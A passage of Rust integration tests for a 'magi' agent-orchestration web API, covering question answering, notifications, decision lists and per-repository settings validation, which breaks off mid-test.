13546    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13547        let fx = Fixture::start().await;
13548        let id = ask(&fx, "No seat", &[]);
13549        let store = fx.questions();
13550        let before = std::fs::read(store.path_of(&id)).unwrap();
13551        let res = fx
13552            .post(
13553                &format!("/api/questions/{id}/say"),
13554                Some(r#"{"body":"hello"}"#),
13555            )
13556            .await;
13557        assert_eq!(res.status, 422, "{}", res.body);
13558        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13559        let res = fx
13560            .post(
13561                &format!("/api/questions/{id}/answer"),
13562                Some(r#"{"text":"hello"}"#),
13563            )
13564            .await;
13565        assert_eq!(res.status, 200, "{}", res.body);
13566        assert_eq!(
13567            store.get(&id).unwrap().resolution().as_deref(),
13568            Some("hello")
13569        );
13570    }
13571
13572    #[tokio::test]
13573    async fn saying_something_appends_a_turn_without_answering() {
13574        let fx = Fixture::start().await;
13575        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13576        fx.questions().beat(&id, ask::WaiterKind::Asker);
13577        let path = format!("/api/questions/{id}/say");
13578
13579        let res = fx
13580            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13581            .await;
13582        assert_eq!(res.status, 200, "{}", res.body);
13583        let body = res.json();
13584        assert_eq!(body["status"], "open", "talking back is not a decision");
13585        assert_eq!(body["answer"], Value::Null);
13586        assert_eq!(body["thread"][0]["who"], "operator");
13587        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13588        assert_eq!(body["waiting_on_agent"], true);
13589        // Still open, still counted, still exactly one question.
13590        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13591    }
13592
13593    #[tokio::test]
13594    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13595        let fx = Fixture::start().await;
13596        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13597
13598        let list = fx.get("/api/questions").await.json();
13599        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13600
13601        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13602        assert_eq!(res.status, 409, "{}", res.body);
13603        let q = fx.questions().get(&id).unwrap();
13604        assert!(q.status.open());
13605        assert!(q.consult.is_none());
13606    }
13607
13608    #[tokio::test]
13609    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13610        let fx = Fixture::start().await;
13611        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13612        let cfg = Config {
13613            agents: vec![crate::config::AgentSpec {
13614                id: "mock".to_owned(),
13615                kind: crate::config::AgentKind::Command,
13616                model: None,
13617                command: vec!["true".to_owned()],
13618                extra_args: Vec::new(),
13619                env: Default::default(),
13620                prompt_delivery: None,
13621                max_turn_secs: None,
13622            }],
13623            ..Config::default()
13624        };
13625        let talk = crate::talk::begin(
13626            &fx.talks(),
13627            &cfg,
13628            fx.home.path().to_path_buf(),
13629            Some("mock"),
13630        )
13631        .unwrap();
13632        let mut task = Task::new(
13633            "t".to_owned(),
13634            "Do it".to_owned(),
13635            PathBuf::from("/repo/magi"),
13636            Source::Agent {
13637                run: talk.id.clone(),
13638                node: crate::queue::CHAT_NODE.to_owned(),
13639            },
13640        );
13641        task.start("20260902-000000-beef".to_owned());
13642        fx.queue().put(&mut task).unwrap();
13643
13644        let list = fx.get("/api/questions").await.json();
13645        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13646        assert_eq!(
13647            list[0]["choices"],
13648            serde_json::json!(["SQLite", "Redis"]),
13649            "the hand-over is never a choice"
13650        );
13651        fx.questions()
13652            .update(&id, |q| {
13653                q.node = crate::land::APPROVAL_NODE.into();
13654                q.choices = vec!["merge".into(), "hold".into()];
13655                Ok(())
13656            })
13657            .unwrap();
13658        let list = fx.get("/api/questions").await.json();
13659        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13660        assert_eq!(list[0]["can_consult_chat"], true);
13661        fx.questions()
13662            .update(&id, |q| {
13663                q.node = crate::bump::NOTICE_NODE.into();
13664                Ok(())
13665            })
13666            .unwrap();
13667        let list = fx.get("/api/questions").await.json();
13668        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13669        assert_eq!(list[0]["can_consult_chat"], false);
13670    }
13671
13672    #[tokio::test]
13673    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13674        let fx = Fixture::start().await;
13675        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13676        fx.questions()
13677            .update(&id, |q| {
13678                q.node = crate::land::APPROVAL_NODE.into();
13679                q.choices = vec!["merge".into(), "hold".into()];
13680                Ok(())
13681            })
13682            .unwrap();
13683        let cfg = Config {
13684            agents: vec![crate::config::AgentSpec {
13685                id: "mock".to_owned(),
13686                kind: crate::config::AgentKind::Command,
13687                model: None,
13688                command: vec!["true".to_owned()],
13689                extra_args: Vec::new(),
13690                env: Default::default(),
13691                prompt_delivery: None,
13692                max_turn_secs: None,
13693            }],
13694            ..Config::default()
13695        };
13696        // Not a git working tree, so its `magi.toml` is read from disk.
13697        let repo = fx.home.path().join("chat-repo");
13698        std::fs::create_dir_all(&repo).unwrap();
13699        let toml = repo.join("magi.toml");
13700        std::fs::write(&toml, "this is = = not toml").unwrap();
13701        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13702        let mut task = Task::new(
13703            "t".to_owned(),
13704            "Do it".to_owned(),
13705            PathBuf::from("/repo/magi"),
13706            Source::Agent {
13707                run: talk.id.clone(),
13708                node: crate::queue::CHAT_NODE.to_owned(),
13709            },
13710        );
13711        task.start("20260902-000000-beef".to_owned());
13712        fx.queue().put(&mut task).unwrap();
13713
13714        let path = format!("/api/questions/{id}/consult");
13715        let res = fx.post(&path, None).await;
13716        assert!(res.status >= 400, "{}", res.body);
13717        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13718        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13719
13720        std::fs::write(&toml, "").unwrap();
13721        let res = fx.post(&path, None).await;
13722        assert_eq!(res.status, 202, "{}", res.body);
13723        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13724        let q = fx.questions().get(&id).unwrap();
13725        assert!(q.status.open());
13726        assert!(q.answer.is_none());
13727        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13728        assert_eq!(res.json()["can_consult_chat"], true);
13729        let list = fx.get("/api/questions").await.json();
13730        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13731        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13732
13733        let res = fx
13734            .post(
13735                &format!("/api/questions/{id}/answer"),
13736                Some(r#"{"choice":"hold"}"#),
13737            )
13738            .await;
13739        assert_eq!(res.status, 200, "{}", res.body);
13740        assert_eq!(res.json()["answer"]["choice"], "hold");
13741        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13742        assert_eq!(res.json()["can_consult_chat"], false);
13743        assert_eq!(fx.post(&path, None).await.status, 409);
13744
13745        let mut talk = fx.talks().get(&talk.id).unwrap();
13746        // This test closes the history view, not an unconsumed consultation.
13747        crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
13748        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13749        let list = fx.get("/api/questions").await.json();
13750        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13751        assert_eq!(list[0]["origin_chat_closed"], true);
13752        assert_eq!(list[0]["can_consult_chat"], false);
13753
13754        fx.talks().remove(&talk.id).unwrap();
13755        let list = fx.get("/api/questions").await.json();
13756        assert_eq!(list[0]["origin_chat"], Value::Null);
13757        assert_eq!(list[0]["origin_chat_closed"], false);
13758        assert_eq!(list[0]["can_consult_chat"], false);
13759    }
13760
13761    #[tokio::test]
13762    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13763        let fx = Fixture::start().await;
13764        let store = fx.questions();
13765        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13766        store.beat(&id, ask::WaiterKind::Asker);
13767        assert_eq!(
13768            fx.get("/api/health").await.json()["questions_needs_owner"],
13769            1
13770        );
13771
13772        // The owner asks back instead of deciding: the ask bar, the nav badge
13773        // and the title must stop naming this question, because there is
13774        // nothing to decide until the agent answers - `status` alone cannot
13775        // say that, which is the whole reason `questions_needs_owner` exists
13776        // alongside `questions_open`.
13777        let res = fx
13778            .post(
13779                &format!("/api/questions/{id}/say"),
13780                Some(r#"{"body":"why not Postgres?"}"#),
13781            )
13782            .await;
13783        assert_eq!(res.status, 200, "{}", res.body);
13784        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13785        assert_eq!(
13786            fx.get("/api/health").await.json()["questions_needs_owner"],
13787            0,
13788            "waiting on the agent is not waiting on the owner"
13789        );
13790
13791        // `magi ask --thread` replying is what brings the owner count back -
13792        // the same event that would resume the CLI call blocked in `magi
13793        // ask`.
13794        let mut q = store.get(&id).expect("get");
13795        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13796            .expect("reply");
13797        store.put(&mut q).expect("put");
13798        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13799        assert_eq!(
13800            fx.get("/api/health").await.json()["questions_needs_owner"],
13801            1,
13802            "the agent's reply is what should light the banner back up"
13803        );
13804    }
13805
13806    #[tokio::test]
13807    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13808        let fx = Fixture::start().await;
13809        let store = fx.questions();
13810
13811        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13812        let res = fx
13813            .post(
13814                &format!("/api/questions/{empty_id}/say"),
13815                Some(r#"{"body":"   "}"#),
13816            )
13817            .await;
13818        assert_eq!(res.status, 400, "{}", res.body);
13819
13820        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13821        let mut answered = store.get(&answered_id).expect("get");
13822        answered
13823            .answer(Answer::Choice("SQLite".to_owned()))
13824            .expect("answer");
13825        store.put(&mut answered).expect("put");
13826        let res = fx
13827            .post(
13828                &format!("/api/questions/{answered_id}/say"),
13829                Some(r#"{"body":"still there?"}"#),
13830            )
13831            .await;
13832        assert_eq!(res.status, 409, "{}", res.body);
13833
13834        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13835        let mut abandoned = store.get(&abandoned_id).expect("get");
13836        abandoned.abandon("timed out");
13837        store.put(&mut abandoned).expect("put");
13838        let res = fx
13839            .post(
13840                &format!("/api/questions/{abandoned_id}/say"),
13841                Some(r#"{"body":"still there?"}"#),
13842            )
13843            .await;
13844        assert_eq!(res.status, 409, "{}", res.body);
13845    }
13846
13847    #[tokio::test]
13848    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
13849        let fx = Fixture::start().await;
13850        let questions = fx.questions();
13851        let mut q = Question::new(
13852            String::new(),
13853            crate::bump::NOTICE_NODE.into(),
13854            "release-watch".into(),
13855            "Release PR approval".into(),
13856            "Saved head".into(),
13857            vec!["merge".into(), "hold".into()],
13858        );
13859        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
13860        q.merge_target = Some(crate::merge_decision::Target {
13861            pr: "https://example.test/mebae/pull/100".into(),
13862            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
13863            language: "en".into(),
13864        });
13865        q.answer(Answer::Choice("merge".into())).unwrap();
13866        q.answer_delivered = true;
13867        questions.put(&mut q).unwrap();
13868        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
13869        std::fs::create_dir_all(&dir).unwrap();
13870        std::fs::write(
13871            dir.join("state.json"),
13872            serde_json::to_vec(&serde_json::json!({
13873                "schema": 1, "sources": [q.id], "pending": [q.id]
13874            }))
13875            .unwrap(),
13876        )
13877        .unwrap();
13878        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
13879        for migrated in [false, true] {
13880            if migrated {
13881                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
13882            }
13883            for endpoint in ["/api/questions", "/api/questions/core"] {
13884                let response = fx.get(endpoint).await;
13885                assert_eq!(response.status, 200);
13886                let rows = response.json();
13887                let row = rows
13888                    .as_array()
13889                    .unwrap()
13890                    .iter()
13891                    .find(|r| r["id"] == q.id)
13892                    .unwrap();
13893                assert_eq!(row["status"], "answered");
13894                assert_eq!(row["answer"]["choice"], "merge");
13895                assert_eq!(row["can_answer"], false);
13896                assert_eq!(row["history_only"], true);
13897            }
13898            let answer = fx
13899                .post(
13900                    &format!("/api/questions/{}/answer", q.id),
13901                    Some(r#"{"choice":"merge"}"#),
13902                )
13903                .await;
13904            assert_eq!(answer.status, 409, "{}", answer.body);
13905            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
13906        }
13907    }
13908
13909    #[tokio::test]
13910    async fn an_answer_the_question_does_not_offer_is_refused() {
13911        let fx = Fixture::start().await;
13912        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13913        let path = format!("/api/questions/{id}/answer");
13914
13915        for body in [
13916            r#"{"choice":"Postgres"}"#,
13917            r#"{"text":"whatever you think"}"#,
13918            r#"{"choice":"Redis","text":"both"}"#,
13919            r#"{}"#,
13920        ] {
13921            let res = fx.post(&path, Some(body)).await;
13922            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13923            assert!(res.json()["error"].is_string(), "{}", res.body);
13924        }
13925        // Nothing above may have answered it.
13926        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13927    }
13928
13929    #[tokio::test]
13930    async fn a_free_text_question_takes_text_and_not_a_choice() {
13931        let fx = Fixture::start().await;
13932        let id = ask(&fx, "What should the flag be called?", &[]);
13933        fx.questions().beat(&id, ask::WaiterKind::Asker);
13934        let path = format!("/api/questions/{id}/answer");
13935
13936        assert_eq!(
13937            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13938            400
13939        );
13940        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13941        assert_eq!(res.status, 200, "{}", res.body);
13942        assert_eq!(res.json()["answer"]["text"], "--json");
13943    }
13944
13945    #[tokio::test]
13946    async fn an_unknown_question_is_a_json_404() {
13947        let fx = Fixture::start().await;
13948        let res = fx
13949            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13950            .await;
13951        assert_eq!(res.status, 404, "{}", res.body);
13952        assert!(res.json()["error"].is_string());
13953    }
13954
13955    #[tokio::test]
13956    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13957        let fx = Fixture::start().await;
13958        let questions = Questions::at(fx.home.path().join("questions"));
13959        let store = Notices::at(fx.home.path().join("notifications"));
13960        let mut q = ask::Question::new(
13961            "t1".into(),
13962            "conduct".into(),
13963            "conductor".into(),
13964            "Continue?".into(),
13965            String::new(),
13966            Vec::new(),
13967        );
13968        questions.put(&mut q).unwrap();
13969        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13970        n.covered_by = Some(q.id.clone());
13971        let n = store.raise(n).unwrap();
13972        let listed = fx.get("/api/notifications").await.json();
13973        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13974        questions
13975            .update(&q.id, |q| {
13976                q.abandon("run gone");
13977                Ok(())
13978            })
13979            .unwrap();
13980        let listed = fx.get("/api/notifications").await.json();
13981        assert!(listed["items"][0]["answerable_question"].is_null());
13982        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13983        assert!(
13984            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13985                .unwrap()
13986                .contains("answerable_question")
13987        );
13988    }
13989
13990    #[tokio::test]
13991    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
13992        let fx = Fixture::start().await;
13993        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
13994        let task = crate::queue::Task::new(
13995            "work".into(),
13996            "work".into(),
13997            fx.home.path().into(),
13998            crate::queue::Source::Human,
13999        );
14000        let inquiry = outbox
14001            .file(&task, None, "test".into(), "入力待ち", "詳細")
14002            .unwrap();
14003        let root = fx.home.path().join("notifications/task-inquiries");
14004        std::fs::write(root.join("broken.json"), "{").unwrap();
14005        let mut unsupported = inquiry.clone();
14006        unsupported.id = "unsupported".into();
14007        unsupported.schema = 99;
14008        std::fs::write(
14009            root.join("unsupported.json"),
14010            serde_json::to_vec(&unsupported).unwrap(),
14011        )
14012        .unwrap();
14013        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14014        for _ in 0..2 {
14015            let response = fx.get("/api/decisions").await;
14016            assert_eq!(response.status, 200, "{}", response.body);
14017            let listed = response.json();
14018            assert_eq!(listed["unreadable"], 2);
14019            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14020            assert_eq!(listed["items"][0]["id"], inquiry.id);
14021            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14022        }
14023        assert_eq!(
14024            before,
14025            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14026        );
14027        assert!(outbox.list().is_err());
14028        std::fs::remove_file(root.join("broken.json")).unwrap();
14029        std::fs::remove_file(root.join("unsupported.json")).unwrap();
14030        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14031    }
14032
14033    #[tokio::test]
14034    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14035        let fx = Fixture::start().await;
14036        let root = fx.home.path().join("notifications/task-chat-migration-v1");
14037        std::fs::create_dir_all(&root).unwrap();
14038        let journal = serde_json::json!({
14039            "schema": 1, "pending": ["saved-inquiry"],
14040            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14041        });
14042        let bytes = serde_json::to_vec(&journal).unwrap();
14043        std::fs::write(root.join("state.json"), &bytes).unwrap();
14044        for _ in 0..2 {
14045            let response = fx.get("/api/decisions").await;
14046            assert_eq!(response.status, 200);
14047            let listed = response.json();
14048            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14049            assert!(listed["items"].as_array().unwrap().is_empty());
14050            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14051        }
14052        // An unreadable journal must not make the endpoint hide the list.
14053        std::fs::write(root.join("state.json"), b"{").unwrap();
14054        let response = fx.get("/api/decisions").await;
14055        assert_eq!(response.status, 200);
14056        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14057    }
14058
14059    #[tokio::test]
14060    async fn notifications_list_read_dismiss_and_health_agree() {
14061        let fx = Fixture::start().await;
14062        let store = Notices::at(fx.home.path().join("notifications"));
14063        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14064        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14065
14066        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14067        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14068
14069        store
14070            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14071            .unwrap();
14072        let health = fx.get("/api/health").await.json();
14073        assert_eq!(health["notifications_unread"], 2);
14074        assert_ne!(
14075            health["notifications_rev"], rev0,
14076            "the badge must move live"
14077        );
14078
14079        let listed = fx.get("/api/notifications").await.json();
14080        assert_eq!(listed["unread"], 2);
14081        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14082        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14083
14084        let read = fx
14085            .post(&format!("/api/notifications/{}/read", a.id), None)
14086            .await;
14087        assert_eq!(read.status, 200, "{}", read.body);
14088        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14089
14090        let gone = fx
14091            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14092            .await;
14093        assert_eq!(gone.status, 200, "{}", gone.body);
14094        let listed = fx.get("/api/notifications").await.json();
14095        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14096        assert_eq!(listed["unread"], 0);
14097
14098        store.raise(Notice::info("x", "again")).unwrap();
14099        let all = fx.post("/api/notifications/read-all", None).await;
14100        assert_eq!(all.status, 200, "{}", all.body);
14101        assert_eq!(all.json()["marked"], 1);
14102        assert_eq!(
14103            fx.get("/api/health").await.json()["notifications_unread"],
14104            0
14105        );
14106
14107        let missing = fx.post("/api/notifications/nope/read", None).await;
14108        assert_eq!(missing.status, 404, "{}", missing.body);
14109        assert!(missing.json()["error"].is_string());
14110    }
14111
14112    /// New work reaches the queue through `magi task add`, a standing talk's
14113    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14114    /// so the compose form and that route are gone. The tests that covered
14115    /// that route's validation went with it, and nothing was left asserting
14116    /// it stays gone — so a re-added handler would silently let the phone
14117    /// file briefs no one validated.
14118    #[tokio::test]
14119    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14120        let f = Fixture::start().await;
14121
14122        let res = f
14123            .post(
14124                "/api/queue",
14125                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14126            )
14127            .await;
14128
14129        assert_eq!(
14130            res.status, 405,
14131            "POST /api/queue must not be a route: {}",
14132            res.body
14133        );
14134        assert!(
14135            f.queue().list().is_empty(),
14136            "a task filed by a route that does not exist must not reach the disk"
14137        );
14138        // The path itself is still served — the Queue view reads it — and the
14139        // per-task controls are untouched by the entry being removed.
14140        assert_eq!(f.get("/api/queue").await.status, 200);
14141    }
14142
14143    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14144    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14145        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14146            .expect("checkout dir");
14147    }
14148
14149    /// Two command agents, so a config needs no real CLI.
14150    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14151
14152    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14153        let tmp = TempDir::new().expect("tempdir");
14154        let repo = tmp.path().join("repo");
14155        std::fs::create_dir_all(&repo).expect("repo dir");
14156        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14157        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14158        if let Some(text) = machine_toml {
14159            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14160            std::fs::write(&machine, text).expect("machine toml");
14161        }
14162        (tmp, repo, machine)
14163    }
14164
14165    async fn settings_checkout(path: &FsPath, text: &str) {
14166        std::fs::create_dir_all(path).unwrap();
14167        std::fs::write(path.join("magi.toml"), text).unwrap();
14168        for args in [
14169            vec!["init", "-b", "main"],
14170            vec!["add", "magi.toml"],
14171            vec![
14172                "-c",
14173                "user.name=Test",
14174                "-c",
14175                "user.email=test@example.invalid",
14176                "commit",
14177                "-m",
14178                "fixture",
14179            ],
14180            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14181            vec![
14182                "symbolic-ref",
14183                "refs/remotes/origin/HEAD",
14184                "refs/remotes/origin/main",
14185            ],
14186        ] {
14187            crate::git::git(path, &args).await.unwrap();
14188        }
14189    }
14190
14191    #[tokio::test]
14192    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14193        let (tmp, repo, machine) =
14194            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14195        let root = tmp.path().join("roots");
14196        let selected = root.join("host/owner/selected");
14197        settings_checkout(
14198            &selected,
14199            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14200        )
14201        .await;
14202        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14203        let before = std::fs::read(&machine).unwrap();
14204        let ui = Arc::new(
14205            Ui::new(
14206                Queue::at(tmp.path().join("queue")),
14207                Questions::at(tmp.path().join("questions")),
14208                Talks::at(tmp.path().join("talks")),
14209                tmp.path().join("runs"),
14210                tmp.path().to_path_buf(),
14211                repo.clone(),
14212            )
14213            .with_machine_config(Some(machine.clone())),
14214        );
14215        let query = || {
14216            Query(SettingsQuery {
14217                repo: Some(selected.clone()),
14218            })
14219        };
14220        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14221        assert!(v.error.is_none(), "{:?}", v.error);
14222        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14223        assert_eq!(conductor.source, "repo");
14224        assert_eq!(
14225            conductor.machine_value,
14226            Some(toml::Value::String("a".into()))
14227        );
14228        assert!(!conductor.editable);
14229        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14230        assert_eq!(
14231            judges.count.as_ref().unwrap().machine_value,
14232            Some(toml::Value::Integer(1))
14233        );
14234        assert!(
14235            !v.roles
14236                .iter()
14237                .find(|r| r.key == "reviewers")
14238                .unwrap()
14239                .editable
14240        );
14241        let unknown = || {
14242            Query(SettingsQuery {
14243                repo: Some(tmp.path().to_path_buf()),
14244            })
14245        };
14246        assert_eq!(
14247            settings_get(State(ui.clone()), unknown())
14248                .await
14249                .unwrap_err()
14250                .status,
14251            StatusCode::UNPROCESSABLE_ENTITY
14252        );
14253        let body = || {
14254            Ok(Json(RolesBody {
14255                revision: v.revision.clone(),
14256                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14257                counts: Default::default(),
14258            }))
14259        };
14260        assert_eq!(
14261            settings_put_roles(State(ui.clone()), unknown(), body())
14262                .await
14263                .unwrap_err()
14264                .status,
14265            StatusCode::UNPROCESSABLE_ENTITY
14266        );
14267        assert_eq!(std::fs::read(&machine).unwrap(), before);
14268        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14269            .await
14270            .unwrap();
14271        assert_eq!(
14272            saved.repo,
14273            selected.canonicalize().unwrap().display().to_string()
14274        );
14275        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14276        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14277        // A cache miss refreshes the stable candidate list exactly for validation.
14278        let fresh = root.join("host/owner/fresh");
14279        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14280        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14281            .await
14282            .unwrap();
14283        assert_eq!(fresh_view.repositories.len(), 3);
14284    }
14285
14286    #[tokio::test]
14287    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14288        let (tmp, repo, machine) = settings_dirs(
14289            "[roles]\nreviewers = [\"a\"]\n",
14290            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14291        );
14292        let root = tmp.path().join("roots");
14293        let selected = root.join("host/owner/selected");
14294        settings_checkout(
14295            &selected,
14296            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14297        )
14298        .await;
14299        let broken = root.join("host/owner/broken");
14300        settings_checkout(&broken, "[roles\nbroken").await;
14301        let machine_text = format!(
14302            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14303            toml::Value::String(root.display().to_string())
14304        );
14305        std::fs::write(&machine, &machine_text).unwrap();
14306        let originals: Vec<_> = [&repo, &selected, &broken]
14307            .iter()
14308            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14309            .collect();
14310        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14311        let default = f.get("/api/settings").await.json();
14312        assert_eq!(
14313            default["repo"],
14314            repo.canonicalize().unwrap().display().to_string()
14315        );
14316        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14317        let query = format!("?repo={}", selected.display());
14318        let res = f.get(&format!("/api/settings{query}")).await;
14319        assert_eq!(res.status, 200, "{}", res.body);
14320        let v = res.json();
14321        assert!(v["error"].is_null(), "{v}");
14322        assert_eq!(v["repositories"], default["repositories"]);
14323        let role = |key: &str| {
14324            v["roles"]
14325                .as_array()
14326                .unwrap()
14327                .iter()
14328                .find(|r| r["key"] == key)
14329                .unwrap()
14330        };
14331        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14332        assert_eq!(role("advisors")["source"], "repo");
14333        assert_eq!(role("advisors")["editable"], false);
14334        assert!(role("advisors")["machine_value"].is_null());
14335        assert_eq!(role("judges")["count"]["value"], 2);
14336        assert_eq!(role("judges")["count"]["machine_value"], 1);
14337        assert_eq!(role("judges")["count"]["source"], "repo");
14338        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14339        assert!(
14340            source.contains("origin/main") && !source.contains("magi/config/"),
14341            "{source}"
14342        );
14343        assert_eq!(
14344            role("reviewers")["editable"],
14345            false,
14346            "default context outside roots must protect its declarations"
14347        );
14348        let body =
14349            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14350        let unknown = format!("?repo={}", tmp.path().display());
14351        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14352        assert_eq!(
14353            f.put(&format!("/api/settings/roles{unknown}"), &body)
14354                .await
14355                .status,
14356            422
14357        );
14358        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14359        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14360            .to_string();
14361        assert_eq!(
14362            f.put(&format!("/api/settings/roles{query}"), &refuse)
14363                .await
14364                .status,
14365            422
14366        );
14367        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14368        assert_eq!(saved.status, 200, "{}", saved.body);
14369        assert_eq!(saved.json()["repo"], v["repo"]);
14370        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14371        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14372        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14373            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14374        }
14375        let error = f
14376            .get(&format!("/api/settings?repo={}", broken.display()))
14377            .await;
